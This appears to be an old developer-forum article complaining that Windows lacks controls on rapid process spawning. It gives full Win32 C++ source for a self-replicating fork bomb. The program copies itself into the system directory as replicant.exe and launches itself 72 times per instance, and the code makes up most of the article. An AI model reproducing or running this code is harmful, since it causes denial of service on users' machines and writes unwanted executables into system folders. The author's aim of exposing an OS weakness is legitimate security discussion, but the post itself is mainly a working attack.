Why Windows Should Have Tight Control Over The WinExec function

• Download source files - 14 Kb
• Download demo project - 14 Kb

Introduction

The Windows family is inherantly flawed in it's control of process execution on an OS global level. After discovering a rather nasty error in a recent program, I was able to determine that it is possible to enter into an EXTREME multiple replication condition within Windows which is similar to the Infinate Spawning Denial of Service attack that is able to be performed using some simple javascript containing a while loop under Internet Explorer 6 and all previous IE releases that incorporated javascript. This however uses native win32 code making it FAR more deadly in it's capability. When clocked during profiling phases, this application has a potential to be able to spawn 72 copies of itself per second. When this is coupled with the fact that per each instance of teh application executed, 72 more copies will be generated quickly consuming system resources. I have included the full source code for proof of concept. I have left the code in an uncompiled state so as to prevent accidental execution. Compile at your own risk. I invite your comments. Source code follows below.

#include "stdafx.h"

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
 	
	// get the current module name and store it
	// in a char variable for later usage using
        // MAX_PATH to avoid a buffer overflow if a
        // windows installation happens to be store
        // in a deep level path name

	LPSTR lpThisModule = new TCHAR[MAX_PATH];
	
	GetModuleFileName(NULL, lpThisModule, MAX_PATH);
	
	// get the windows system path and store it
	// in a char variable for later usage using
        // MAX_PATH to avoid a buffer overflow if a
        // windows installation happens to be store
        // in a deep level path name


	LPSTR lpSystemPath = new TCHAR[MAX_PATH];
	
	GetSystemDirectory(lpSystemPath, MAX_PATH);
	
	// create a variable to hold the name of the 
	// destination module so that we can use the
	// strcat function to get a valid path name 
	// out of it for the CopyFile() function

	char szReplicantName[16] = "\\replicant.exe";
	
	strcat(lpSystemPath, szReplicantName);

	// copy ourselves into the system directory
	// using lpThisModule and lpSystemPath for
	// our module and system path locations
	
	CopyFile(lpThisModule, lpSystemPath, FALSE);
	
	// time to run and repeat the whole process
	// of replication from within the replicant
	// that we're about to execute.  Optimizied
	// variable sizes help keep the the loading
	// time low, but the repeated execution can
	// cause a RAPID resources drain on all but
	// the most beefed up systems...5184+ copys
	// of a application all desperate to run at
	// the same  time will do that to you...
	
	// setting up two integers to control the
	// execution of the loop that will actually
	// handle the replication of our executable
	
	int WhileLoopController = 1;
	
	int WhileLoopIterator = 0;

	while(WhileLoopController == 1)
	
	{
		
		WinExec(lpSystemPath, 0);
		
		WhileLoopIterator++;

			// not that this matters much after the
			// ball starts rolling, but it's being
			// included for the purposes of writing
			// complete and correct code as all loops
			// should contain some method to break out

			if( WhileLoopIterator >= 72 )
	
			{
				
				// setting the loop controller to 0
				// so we break from the while loop
				
				WhileLoopController = 0;

			}
	
	}

	return 0;

}

I find it fairly assinine that the microsoft os development teams have not added a facility to my knowledge to any windows os that prevents this rapid spawn condition from taking place. we're expected to pay out the wazoo for a solid OS, yet we get this. if anyone has any insight on ways to prevent this condition, I'd be interested in hearing them.